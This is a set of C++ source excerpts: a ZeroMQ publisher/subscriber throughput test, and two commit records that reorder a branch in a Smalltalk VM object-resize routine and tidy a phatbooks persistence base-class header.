    if (fCount == 0) {
      timer.restart();
    }
    fCount++;
    if (fCount != fExpectedMessages) {
      return;
    }
    // print results
    double elapsed = timer.elapsed();
    double msgPerSecond = 1.0 /(elapsed / fExpectedMessages);
    std::cout << "SUB: msg:" << fCount << " msg/s: " <<
      std::setprecision(12) << msgPerSecond << std::endl;
  }

  int getCount() {
    return fCount;
  }

  SubscribePerfHandler() : fCount(0) {}

  SubscribePerfHandler(int expectedMessages) :
    fCount(0),
    fExpectedMessages(expectedMessages) {}
};

TEST(TransportZMQPublisher , HundredThousand)
{
  int numMillions = 1;
  int numMessages = numMillions * 100000;
  zmq::context_t ctx1(1);
  zmq::context_t ctx2(1);

  SubscribePerfHandler handler(numMessages);
  //qi::transport::ZMQPublisher publisher1("tcp://127.0.0.1:5556");
  qi::transport::detail::ZMQPublisher publisher(ctx1);
  publisher.bind("tcp://127.0.0.1:5555");
  qi::transport::detail::ZMQSubscriber subscriber(ctx2);
  subscriber.connect("tcp://127.0.0.1:5555");

  subscriber.setSubscribeHandler(&handler);
  subscriber.subscribe();
  std::string msg = "Hello";
  sleep(1);
  for (int i=0; i < numMessages; i++) {
    publisher.publish(msg);
  }

  sleep(10);
  int result = handler.getCount();
  ASSERT_EQ( numMessages, result) << "Did not receive all messages";
}

TEST(TransportZMQPublisher , MultipleSubscribers)
{
  int numMessages = 100000;

  const unsigned int numSubscribers = 10;
  std::cout << "Using " << numSubscribers << " subscribers" << std::endl;
  std::vector<SubscribePerfHandler*>         handlers;
  std::vector< qi::transport::detail::ZMQSubscriber*> subscribers;
  //boost::shared_ptr<zmq::context_t> subContext(new zmq::context_t(1));
  zmq::context_t ctx(1);
  for (unsigned int i = 0; i < numSubscribers; ++i) {
    SubscribePerfHandler* hand = new SubscribePerfHandler(numMessages);
    qi::transport::detail::ZMQSubscriber* sub = new qi::transport::detail::ZMQSubscriber(ctx);
    sub->connect("tcp://127.0.0.1:5555");
    sub->setSubscribeHandler(hand);
    sub->subscribe();
    handlers.push_back(hand);
    subscribers.push_back(sub);
  }
  qi::transport::detail::ZMQPublisher publisher(ctx);
  publisher.bind("tcp://127.0.0.1:5555");

  sleep(1);
  std::string msg = "Hello";

  std::cout << "Publishing...";
  for (int i=0; i < numMessages; i++) {
    publisher.publish(msg);
  }
  std::cout << " Done." << std::endl;
  sleep(10);
  int result = 0;
  for(unsigned int i=0; i < numSubscribers; ++i) {
    result += handlers[i]->getCount();
  }

  for(unsigned int i=0; i < numSubscribers; i++) {
    delete subscribers[i];
  }
  int expectedMessaged = numMessages * numSubscribers;
  ASSERT_EQ( expectedMessaged, result) << "Did not receive all messages";

}

<|endoftext|>


<commit_before>/******************************************************************************

	File: Realloc.cpp

	Description:

	Object Memory management class object resizing routines

******************************************************************************/

#include "Ist.h"
#pragma code_seg(MEM_SEG)

#include "ObjMem.h"
#include "interprt.h"
#include "ObjMemPriv.inl"

// Smalltalk classes
#include "STBehavior.h"		// Need to look at class flags, and fixed fields
#include "STVirtualObject.h"
#include "STByteArray.h"

///////////////////////////////////////////////////////////////////////////////
// Low-level memory chunk (not object) management routines
//
// These map directly onto C or Win32 heap

inline POBJECT ObjectMemory::reallocChunk(POBJECT pChunk, size_t newChunkSize)
{
	#if defined(_DEBUG)
		if (__sbh_find_block(pChunk) != NULL)
			// Hang on a minute, this block is from the SBH
			ASSERT(FALSE);
		else
		{
			for (auto i=0;i<NumPools;i++)
				ASSERT(!m_pools[i].isMyChunk(reinterpret_cast<void*>(pChunk)));
		}
	#endif

	#ifdef PRIVATE_HEAP
		return static_cast<POBJECT>(::HeapReAlloc(m_hHeap, 0, pChunk, newChunkSize));
	#else
		return realloc(pChunk, newChunkSize);
	#endif
}

///////////////////////////////////////////////////////////////////////////////
// Use with care. Neither initialises new space, or cleans up old pointers
// which are sized away!!  Although this is a public function, since sometimes
// we don't need the ref. count adjustment and initialisation performed by the
// safer high-level resize() functions. Use of the latter is, however, encouraged.

#pragma auto_inline(off)

template <size_t Extra> POBJECT ObjectMemory::basicResize(POTE ote, size_t byteSize)
{
	ASSERT(!isIntegerObject(ote));
	POBJECT pObject;

/*	#ifdef _DEBUG
		TRACESTREAM<< L"Resizing ";
		Interpreter::printObject(Oop(ote), TRACESTREAM);
		TRACESTREAM<< L" (" << ote->m_location<< L") from size " << ObjectMemory::sizeOf(ote)<< L" to size " << byteSize<< L"\n";
	#endif
*/
	switch(ote->heapSpace())
	{
		case Spaces::Normal:
		{
//			TRACE("Resizing normal object...\n");
			pObject = ote->m_location;
			pObject = reallocChunk(pObject, byteSize+Extra);

			if (pObject)
			{
				ote->m_location = pObject;
				ote->setSize(byteSize);
			}
			break;
		}

		case Spaces::Virtual:
//			TRACE("Resizing virtual object...\n");
			pObject = resizeVirtual(ote, byteSize+Extra);
			break;

		case Spaces::Pools:
		{
			#if defined(_DEBUG)
				if (abs(Interpreter::executionTrace) > 0)
					checkPools();
			#endif

			// May be able to do some quicker resizing here if size is still in same pool?
			if ((byteSize+Extra) > MaxSmallObjectSize)
			{
				pObject = allocChunk(byteSize+Extra);
				ote->m_flags.m_space = static_cast<space_t>(Spaces::Normal);
			}
			else
				pObject = allocSmallChunk(byteSize+Extra);

			POBJECT pOldObject = ote->m_location;
			auto oldSize = ote->getSize();
			memcpy(pObject, pOldObject, min(oldSize, byteSize));
			freeSmallChunk(pOldObject, ote->sizeOf());
			ote->m_location = pObject;
			ote->setSize(byteSize);
			break;
		}

		default:
			// Not resizeable
			return nullptr;
	}

	#if defined(_DEBUG)
		if (abs(Interpreter::executionTrace) > 0)
			checkPools();
//		TRACESTREAM<< L"After Resize: ";
//		Interpreter::printObject(Oop(ote), TRACESTREAM);
//		TRACESTREAM<< L"\n";
	#endif

	return pObject;
}

// Resize an object in VirtualSpace (commit/decommit some memory)
// N.B. Assumes that there are no ref. counted object above shrinkTo (primarily intended for
// Process stacks)
POBJECT ObjectMemory::resizeVirtual(OTE* ote, size_t newByteSize)
{
	ASSERT(ote->heapSpace() == Spaces::Virtual);

	VariantObject* pObject = static_cast<VariantObject*>(ote->m_location);
	VirtualObject* pVObj = reinterpret_cast<VirtualObject*>(pObject);
	VirtualObjectHeader* pBase = pVObj->getHeader();
	size_t maxByteSize = pBase->getMaxAllocation(); maxByteSize;
	size_t currentTotalByteSize = pBase->getCurrentAllocation();
	ASSERT(_ROUND2(currentTotalByteSize, dwPageSize) == currentTotalByteSize);
	auto newTotalByteSize = _ROUND2(newByteSize + sizeof(VirtualObjectHeader), dwPageSize);
	// Minimum virtual allocation is one page (4k normally)
	ASSERT(newTotalByteSize >= dwPageSize);

	if (newTotalByteSize > currentTotalByteSize)
	{
		// The object is increasing in size - commit some more memory
		ASSERT(newByteSize <= maxByteSize);
		size_t allocSize = newTotalByteSize - currentTotalByteSize;
		ASSERT(_ROUND2(allocSize, dwPageSize) == allocSize);
		if (!::VirtualAlloc(reinterpret_cast<uint8_t*>(pBase) + currentTotalByteSize, allocSize, MEM_COMMIT, PAGE_READWRITE))
			return 0;	// Request to resize failed
	}
	else if (newTotalByteSize < currentTotalByteSize)
	{
		const Behavior* behavior = ote->m_oteClass->m_location; behavior;
		// The object is shrinking - decommit some memory
		ASSERT(newByteSize > (ObjectHeaderSize+behavior->fixedFields())*sizeof(Oop));

		auto pCeiling = reinterpret_cast<Oop*>(reinterpret_cast<uint8_t*>(pBase) + newTotalByteSize);

		// Determine the size of the committed region above shrinkTo
		MEMORY_BASIC_INFORMATION mbi;
		VERIFY(::VirtualQuery(pCeiling, &mbi, sizeof(mbi)) == sizeof(mbi));
		ASSERT(mbi.AllocationBase == pBase);
		if (mbi.State == MEM_COMMIT)
		{
			// Decommit memory above new ceiling
			VERIFY(::VirtualFree(pCeiling, mbi.RegionSize, MEM_DECOMMIT));
		}
	}

	// And resize the object as far as Smalltalk is concerned to the nearest page boundary
	// above and including shrinkTo
	//pBase->setCurrentAllocation(newTotalByteSize);
	ote->setSize(newByteSize);

	return pObject;
}

#pragma auto_inline(on)

///////////////////////////////////////////////////////////////////////////////
// Safe public resizing functions.

VariantByteObject* ObjectMemory::resize(BytesOTE* ote, size_t newByteSize)
{
	ASSERT(!ObjectMemoryIsIntegerObject(ote) && ote->isBytes());

	auto totalByteSize = newByteSize + SizeOfPointers(0);	// Add header size

	auto pByteObj = ote->m_location;
	auto oldByteSize = ote->getSize();

	if (ote->isNullTerminated())
	{
		pByteObj = reinterpret_cast<VariantByteObject*>(ObjectMemory::basicResize<NULLTERMSIZE>(reinterpret_cast<POTE>(ote), totalByteSize));
		ASSERT(pByteObj != nullptr);	// Null-terminated objects should always be resizeable
		__assume(pByteObj != nullptr);

		// Ensure we have a null-terminator
		*reinterpret_cast<NULLTERMTYPE*>(&pByteObj->m_fields[totalByteSize]) = 0;
	}
	else
		pByteObj = reinterpret_cast<VariantByteObject*>(ObjectMemory::basicResize<0>(reinterpret_cast<POTE>(ote), totalByteSize));

	if (pByteObj && totalByteSize > oldByteSize)
	{
		// The object grew, so ensure it is properly initialized
		memset(reinterpret_cast<uint8_t*>(pByteObj)+oldByteSize, 0, totalByteSize-oldByteSize);
	}

	return pByteObj;
}

VariantObject* ObjectMemory::resize(PointersOTE* ote, size_t newPointers, bool bRefCount)
{
	ASSERT(!ObjectMemoryIsIntegerObject(ote) && ote->isPointers());

	VariantObject* pObj = ote->m_location;
	const auto oldPointers = ote->pointersSize();

	// If resizing the active process, then we don't do any ref. counting as refs from
	// the current stack are not counted (we used deferred ref. counting)
	if (bRefCount)
	{
		for (auto i=newPointers;i<oldPointers;i++)
			countDown(pObj->m_fields[i]);
	}

	// Reallocate the object to the new size (bigger or smaller)
	pObj = reinterpret_cast<VariantObject*>(basicResize<0>(reinterpret_cast<POTE>(ote), SizeOfPointers(newPointers)));

	if (pObj)
	{
		ASSERT(newPointers == ote->pointersSize());
		newPointers = ote->pointersSize();

		// Initialize any new pointers to Nil (indices must fit in a SmallInteger)
		const Oop nil = Oop(Pointers.Nil);
		for (auto i=oldPointers; i<newPointers; i++)
			pObj->m_fields[i] = nil;
	}

	return pObj;
}

//POBJECT ObjectMemory::resize(OTE* ote, MWORD newSize)
//{
//	ASSERT(!ote->isImmutable());
//
//	POBJECT pNewBody;
//	if (ote->isPointers())
//	{
//		// Add fixed fields of class, so newSize is now VM word length excluding header
//		// Some objects may size with a granularity greater than one pointer, so we
//		// must ask the object what size it would like to be for the new requested size.
//		// This is all down by the sizeOfObjectFor() method
//
//		bool bCountDownRemoved = reinterpret_cast<OTE*>(Interpreter::actualActiveProcessPointer()) != ote;
//		pNewBody = resize(reinterpret_cast<PointersOTE*>(ote),
//							sizeOfObjectFor(ote, newSize),
//							bCountDownRemoved);
//	}
//	else
//	{
//		pNewBody = resize(reinterpret_cast<BytesOTE*>(ote), newSize);
//	}
//
//	return pNewBody;
//}

<commit_msg>PGO suggested optimisation: Change condition order (5)<commit_after>/******************************************************************************

	File: Realloc.cpp

	Description:

	Object Memory management class object resizing routines

******************************************************************************/

#include "Ist.h"
#pragma code_seg(MEM_SEG)

#include "ObjMem.h"
#include "interprt.h"
#include "ObjMemPriv.inl"

// Smalltalk classes
#include "STBehavior.h"		// Need to look at class flags, and fixed fields
#include "STVirtualObject.h"
#include "STByteArray.h"

///////////////////////////////////////////////////////////////////////////////
// Low-level memory chunk (not object) management routines
//
// These map directly onto C or Win32 heap

inline POBJECT ObjectMemory::reallocChunk(POBJECT pChunk, size_t newChunkSize)
{
	#if defined(_DEBUG)
		if (__sbh_find_block(pChunk) != NULL)
			// Hang on a minute, this block is from the SBH
			ASSERT(FALSE);
		else
		{
			for (auto i=0;i<NumPools;i++)
				ASSERT(!m_pools[i].isMyChunk(reinterpret_cast<void*>(pChunk)));
		}
	#endif

	#ifdef PRIVATE_HEAP
		return static_cast<POBJECT>(::HeapReAlloc(m_hHeap, 0, pChunk, newChunkSize));
	#else
		return realloc(pChunk, newChunkSize);
	#endif
}

///////////////////////////////////////////////////////////////////////////////
// Use with care. Neither initialises new space, or cleans up old pointers
// which are sized away!!  Although this is a public function, since sometimes
// we don't need the ref. count adjustment and initialisation performed by the
// safer high-level resize() functions. Use of the latter is, however, encouraged.

#pragma auto_inline(off)

template <size_t Extra> POBJECT ObjectMemory::basicResize(POTE ote, size_t byteSize)
{
	ASSERT(!isIntegerObject(ote));
	POBJECT pObject;

/*	#ifdef _DEBUG
		TRACESTREAM<< L"Resizing ";
		Interpreter::printObject(Oop(ote), TRACESTREAM);
		TRACESTREAM<< L" (" << ote->m_location<< L") from size " << ObjectMemory::sizeOf(ote)<< L" to size " << byteSize<< L"\n";
	#endif
*/
	switch(ote->heapSpace())
	{
		case Spaces::Normal:
		{
//			TRACE("Resizing normal object...\n");
			pObject = ote->m_location;
			pObject = reallocChunk(pObject, byteSize+Extra);

			if (pObject)
			{
				ote->m_location = pObject;
				ote->setSize(byteSize);
			}
			break;
		}

		case Spaces::Virtual:
//			TRACE("Resizing virtual object...\n");
			pObject = resizeVirtual(ote, byteSize+Extra);
			break;

		case Spaces::Pools:
		{
			#if defined(_DEBUG)
				if (abs(Interpreter::executionTrace) > 0)
					checkPools();
			#endif

			// May be able to do some quicker resizing here if size is still in same pool?
			if ((byteSize + Extra) <= MaxSmallObjectSize)
			{
				pObject = allocSmallChunk(byteSize + Extra);
			}
			else
			{
				pObject = allocChunk(byteSize + Extra);
				ote->m_flags.m_space = static_cast<space_t>(Spaces::Normal);
			}

			POBJECT pOldObject = ote->m_location;
			auto oldSize = ote->getSize();
			memcpy(pObject, pOldObject, min(oldSize, byteSize));
			freeSmallChunk(pOldObject, ote->sizeOf());
			ote->m_location = pObject;
			ote->setSize(byteSize);
			break;
		}

		default:
			// Not resizeable
			return nullptr;
	}

	#if defined(_DEBUG)
		if (abs(Interpreter::executionTrace) > 0)
			checkPools();
//		TRACESTREAM<< L"After Resize: ";
//		Interpreter::printObject(Oop(ote), TRACESTREAM);
//		TRACESTREAM<< L"\n";
	#endif

	return pObject;
}

// Resize an object in VirtualSpace (commit/decommit some memory)
// N.B. Assumes that there are no ref. counted object above shrinkTo (primarily intended for
// Process stacks)
POBJECT ObjectMemory::resizeVirtual(OTE* ote, size_t newByteSize)
{
	ASSERT(ote->heapSpace() == Spaces::Virtual);

	VariantObject* pObject = static_cast<VariantObject*>(ote->m_location);
	VirtualObject* pVObj = reinterpret_cast<VirtualObject*>(pObject);
	VirtualObjectHeader* pBase = pVObj->getHeader();
	size_t maxByteSize = pBase->getMaxAllocation(); maxByteSize;
	size_t currentTotalByteSize = pBase->getCurrentAllocation();
	ASSERT(_ROUND2(currentTotalByteSize, dwPageSize) == currentTotalByteSize);
	auto newTotalByteSize = _ROUND2(newByteSize + sizeof(VirtualObjectHeader), dwPageSize);
	// Minimum virtual allocation is one page (4k normally)
	ASSERT(newTotalByteSize >= dwPageSize);

	if (newTotalByteSize > currentTotalByteSize)
	{
		// The object is increasing in size - commit some more memory
		ASSERT(newByteSize <= maxByteSize);
		size_t allocSize = newTotalByteSize - currentTotalByteSize;
		ASSERT(_ROUND2(allocSize, dwPageSize) == allocSize);
		if (!::VirtualAlloc(reinterpret_cast<uint8_t*>(pBase) + currentTotalByteSize, allocSize, MEM_COMMIT, PAGE_READWRITE))
			return 0;	// Request to resize failed
	}
	else if (newTotalByteSize < currentTotalByteSize)
	{
		const Behavior* behavior = ote->m_oteClass->m_location; behavior;
		// The object is shrinking - decommit some memory
		ASSERT(newByteSize > (ObjectHeaderSize+behavior->fixedFields())*sizeof(Oop));

		auto pCeiling = reinterpret_cast<Oop*>(reinterpret_cast<uint8_t*>(pBase) + newTotalByteSize);

		// Determine the size of the committed region above shrinkTo
		MEMORY_BASIC_INFORMATION mbi;
		VERIFY(::VirtualQuery(pCeiling, &mbi, sizeof(mbi)) == sizeof(mbi));
		ASSERT(mbi.AllocationBase == pBase);
		if (mbi.State == MEM_COMMIT)
		{
			// Decommit memory above new ceiling
			VERIFY(::VirtualFree(pCeiling, mbi.RegionSize, MEM_DECOMMIT));
		}
	}

	// And resize the object as far as Smalltalk is concerned to the nearest page boundary
	// above and including shrinkTo
	//pBase->setCurrentAllocation(newTotalByteSize);
	ote->setSize(newByteSize);

	return pObject;
}

#pragma auto_inline(on)

///////////////////////////////////////////////////////////////////////////////
// Safe public resizing functions.

VariantByteObject* ObjectMemory::resize(BytesOTE* ote, size_t newByteSize)
{
	ASSERT(!ObjectMemoryIsIntegerObject(ote) && ote->isBytes());

	auto totalByteSize = newByteSize + SizeOfPointers(0);	// Add header size

	auto pByteObj = ote->m_location;
	auto oldByteSize = ote->getSize();

	if (ote->isNullTerminated())
	{
		pByteObj = reinterpret_cast<VariantByteObject*>(ObjectMemory::basicResize<NULLTERMSIZE>(reinterpret_cast<POTE>(ote), totalByteSize));
		ASSERT(pByteObj != nullptr);	// Null-terminated objects should always be resizeable
		__assume(pByteObj != nullptr);

		// Ensure we have a null-terminator
		*reinterpret_cast<NULLTERMTYPE*>(&pByteObj->m_fields[totalByteSize]) = 0;
	}
	else
		pByteObj = reinterpret_cast<VariantByteObject*>(ObjectMemory::basicResize<0>(reinterpret_cast<POTE>(ote), totalByteSize));

	if (pByteObj && totalByteSize > oldByteSize)
	{
		// The object grew, so ensure it is properly initialized
		memset(reinterpret_cast<uint8_t*>(pByteObj)+oldByteSize, 0, totalByteSize-oldByteSize);
	}

	return pByteObj;
}

VariantObject* ObjectMemory::resize(PointersOTE* ote, size_t newPointers, bool bRefCount)
{
	ASSERT(!ObjectMemoryIsIntegerObject(ote) && ote->isPointers());

	VariantObject* pObj = ote->m_location;
	const auto oldPointers = ote->pointersSize();

	// If resizing the active process, then we don't do any ref. counting as refs from
	// the current stack are not counted (we used deferred ref. counting)
	if (bRefCount)
	{
		for (auto i=newPointers;i<oldPointers;i++)
			countDown(pObj->m_fields[i]);
	}

	// Reallocate the object to the new size (bigger or smaller)
	pObj = reinterpret_cast<VariantObject*>(basicResize<0>(reinterpret_cast<POTE>(ote), SizeOfPointers(newPointers)));

	if (pObj)
	{
		ASSERT(newPointers == ote->pointersSize());
		newPointers = ote->pointersSize();

		// Initialize any new pointers to Nil (indices must fit in a SmallInteger)
		const Oop nil = Oop(Pointers.Nil);
		for (auto i=oldPointers; i<newPointers; i++)
			pObj->m_fields[i] = nil;
	}

	return pObj;
}

//POBJECT ObjectMemory::resize(OTE* ote, MWORD newSize)
//{
//	ASSERT(!ote->isImmutable());
//
//	POBJECT pNewBody;
//	if (ote->isPointers())
//	{
//		// Add fixed fields of class, so newSize is now VM word length excluding header
//		// Some objects may size with a granularity greater than one pointer, so we
//		// must ask the object what size it would like to be for the new requested size.
//		// This is all down by the sizeOfObjectFor() method
//
//		bool bCountDownRemoved = reinterpret_cast<OTE*>(Interpreter::actualActiveProcessPointer()) != ote;
//		pNewBody = resize(reinterpret_cast<PointersOTE*>(ote),
//							sizeOfObjectFor(ote, newSize),
//							bCountDownRemoved);
//	}
//	else
//	{
//		pNewBody = resize(reinterpret_cast<BytesOTE*>(ote), newSize);
//	}
//
//	return pNewBody;
//}

<|endoftext|>


<commit_before>#ifndef GUARD_phatbooks_persistent_object_hpp
#define GUARD_phatbooks_persistent_object_hpp

#include "phatbooks_database_connection.hpp"
#include <sqloxx/general_typedefs.hpp>
#include <sqloxx/handle.hpp>

/**
 * @file phatbooks_database_connection.hpp
 *
 * Contains base classes for "business classes" in phatbooks,
 * where these business
 * classes share an interface in involving their persistence to a database,
 * and share implementation details in that they are all wrappers
 * around implementation classes inherited from
 * sqloxx::PersistentObject<PhatbooksDatabaseConnection, ...>.
 *
 * Each business class B should inherit publically from
 * from PhatbooksPersistentObject<B, Impl>.
 * The PhatbooksPersistentObject template should be instantiated with
 * a specific
 * implementation class for Impl,
 * which should in turn inherit from
 * sqloxx::PersistentObject<PhatbooksDatabaseConnection, Impl>.
 *
 * Note there is a reason why PhatbooksPersistentObjectBase and
 * PhatbooksPersistentObject are two separate classes, namely,
 * to support the PersistentJournal class as an abstract class
 * between Journal and DraftJournal/OrdinaryJournal in the hierarchy.
 * This architecture makes this possible. In this case, PersistentJournal
 * inherits from PhatbooksPersistentObjectBase, but not from
 * PhatbooksPersistentObject<...>, as there is no instantiation of
 * the latteer from which it could inherit.
 */

namespace phatbooks
{

class PhatbooksPersistentObjectBase
{
public:
	typedef sqloxx::Id Id;

	void save();
	Id id() const;
	PhatbooksDatabaseConnection& database_connection() const;
	bool has_id() const;
	void remove();
	void ghostify();

private:
	// Note the implementations for these are provided by
	// PhatbooksPersistentObject<...> and should \e not be redefined
	// by the business classes.
	virtual
	void do_save() = 0;

	virtual
	Id do_get_id() const = 0;

	virtual
	PhatbooksDatabaseConnection& do_get_database_connection() const = 0;

	virtual
	bool does_have_id() const = 0;

	virtual
	void do_remove() = 0;

	virtual
	void do_ghostify() = 0;
};

template <typename Impl>
class PhatbooksPersistentObject:
	virtual public PhatbooksPersistentObjectBase
{
protected:

	typedef sqloxx::Id Id;
	PhatbooksPersistentObject
	(	PhatbooksDatabaseConnection& p_database_connection
	);

	PhatbooksPersistentObject
	(	PhatbooksDatabaseConnection& p_database_connection,
		Id p_id
	);

	Impl& impl()
	{
		return *m_impl;
	}
	Impl& impl() const
	{
		return *m_impl;
	}
	PhatbooksPersistentObject(sqloxx::Handle<Impl> const& p_handle):
		m_impl(p_handle)
	{
	}

private:

	void do_save();
	Id do_get_id() const;
	PhatbooksDatabaseConnection& do_get_database_connection() const;
	bool does_have_id() const;
	void do_remove();
	void do_ghostify();
	sqloxx::Handle<Impl> m_impl;
};

template <typename Impl>
PhatbooksPersistentObject<Impl>::PhatbooksPersistentObject
(	PhatbooksDatabaseConnection& p_database_connection
):
	m_impl(sqloxx::Handle<Impl>(p_database_connection))
{
}

template <typename Impl>
PhatbooksPersistentObject<Impl>::PhatbooksPersistentObject
(	PhatbooksDatabaseConnection& p_database_connection,
	Id p_id
):
	m_impl(sqloxx::Handle<Impl>(p_database_connection, p_id))
{
}

template <typename Impl>
void
PhatbooksPersistentObject<Impl>::do_save()
{
	m_impl->save();
	return;
}

template <typename Impl>
typename sqloxx::Id
PhatbooksPersistentObject<Impl>::do_get_id() const
{
	return m_impl->id();
}

template <typename Impl>
PhatbooksDatabaseConnection&
PhatbooksPersistentObject<Impl>::do_get_database_connection() const
{
	return m_impl->database_connection();
}

template <typename Impl>
bool
PhatbooksPersistentObject<Impl>::does_have_id() const
{
	return m_impl->has_id();
}

template <typename Impl>
void
PhatbooksPersistentObject<Impl>::do_remove()
{
	m_impl->remove();
	return;
}

template <typename Impl>
void
PhatbooksPersistentObject<Impl>::do_ghostify()
{
	m_impl->ghostify();
	return;
}

}  // namespace phatbooks

#endif  // GUARD_phatbooks_persistent_object_hpp
<commit_msg>Stylistic tidyups in phatbooks_persistent_object.hpp.<commit_after>#ifndef GUARD_phatbooks_persistent_object_hpp
#define GUARD_phatbooks_persistent_object_hpp

#include "phatbooks_database_connection.hpp"
#include <sqloxx/general_typedefs.hpp>
#include <sqloxx/handle.hpp>

/**
 * @file phatbooks_database_connection.hpp
 *
 * Contains base classes for "business classes" in phatbooks,
 * where these business
 * classes share an interface in involving their persistence to a database,
 * and share implementation details in that they are all wrappers
 * around implementation classes inherited from
 * sqloxx::PersistentObject<PhatbooksDatabaseConnection, ...>.
 *
 * Each business class B should inherit publically from
 * from PhatbooksPersistentObject<B, Impl>.
 * The PhatbooksPersistentObject template should be instantiated with
 * a specific
 * implementation class for Impl,
 * which should in turn inherit from
 * sqloxx::PersistentObject<PhatbooksDatabaseConnection, Impl>.
 *
 * Note there is a reason why PhatbooksPersistentObjectBase and
 * PhatbooksPersistentObject are two separate classes, namely,
 * to support the PersistentJournal class as an abstract class
 * between Journal and DraftJournal/OrdinaryJournal in the hierarchy.
 * This architecture makes this possible. In this case, PersistentJournal
 * inherits from PhatbooksPersistentObjectBase, but not from
 * PhatbooksPersistentObject<...>, as there is no instantiation of
 * the latteer from which it could inherit.
 */

namespace phatbooks
{

class PhatbooksPersistentObjectBase
{
public:
	typedef sqloxx::Id Id;

	void save();
	Id id() const;
	PhatbooksDatabaseConnection& database_connection() const;
	bool has_id() const;
	void remove();
	void ghostify();

private:
	// Note the implementations for these are provided by
	// PhatbooksPersistentObject<...> and should \e not be redefined
	// by the business classes.
	virtual void do_save() = 0;
	virtual Id do_get_id() const = 0;
	virtual PhatbooksDatabaseConnection& do_get_database_connection() const=0;
	virtual bool does_have_id() const = 0;
	virtual void do_remove() = 0;
	virtual void do_ghostify() = 0;
};

template <typename Impl>
class PhatbooksPersistentObject:
	virtual public PhatbooksPersistentObjectBase
{
protected:
	typedef sqloxx::Id Id;
	PhatbooksPersistentObject
	(	PhatbooksDatabaseConnection& p_database_connection
	);
	PhatbooksPersistentObject
	(	PhatbooksDatabaseConnection& p_database_connection,
		Id p_id
	);
	PhatbooksPersistentObject(sqloxx::Handle<Impl> const& p_handle);
	Impl& impl();
	Impl& impl() const;

private:
	void do_save();
	Id do_get_id() const;
	PhatbooksDatabaseConnection& do_get_database_connection() const;
	bool does_have_id() const;
	void do_remove();
	void do_ghostify();
	sqloxx::Handle<Impl> m_impl;
};

template <typename Impl>
PhatbooksPersistentObject<Impl>::PhatbooksPersistentObject
(	PhatbooksDatabaseConnection& p_database_connection
):
	m_impl(sqloxx::Handle<Impl>(p_database_connection))
{
}

template <typename Impl>
PhatbooksPersistentObject<Impl>::PhatbooksPersistentObject
(	PhatbooksDatabaseConnection& p_database_connection,
	Id p_id
):
	m_impl(sqloxx::Handle<Impl>(p_database_connection, p_id))
{
}

template <typename Impl>
inline
PhatbooksPersistentObject<Impl>::PhatbooksPersistentObject
(	sqloxx::Handle<Impl> const& p_handle
):
	m_impl(p_handle)
{
}

template <typename Impl>
inline
Impl&
PhatbooksPersistentObject<Impl>::impl()
{
	return *m_impl;
}

template <typename Impl>
inline
Impl&
PhatbooksPersistentObject<Impl>::impl() const
{
	return *m_impl;
}

template <typename Impl>
void
PhatbooksPersistentObject<Impl>::do_save()
{
	m_impl->save();
	return;
}

template <typename Impl>
typename sqloxx::Id
PhatbooksPersistentObject<Impl>::do_get_id() const
{
	return m_impl->id();
}

template <typename Impl>
PhatbooksDatabaseConnection&
PhatbooksPersistentObject<Impl>::do_get_database_connection() const
{
	return m_impl->database_connection();
}

template <typename Impl>
bool
PhatbooksPersistentObject<Impl>::does_have_id() const
{
	return m_impl->has_id();
}

template <typename Impl>
void
PhatbooksPersistentObject<Impl>::do_remove()
{
	m_impl->remove();
	return;
}

template <typename Impl>
void
PhatbooksPersistentObject<Impl>::do_ghostify()
{
	m_impl->ghostify();
	return;
}

}  // namespace phatbooks

#endif  // GUARD_phatbooks_persistent_object_hpp
<|endoftext|>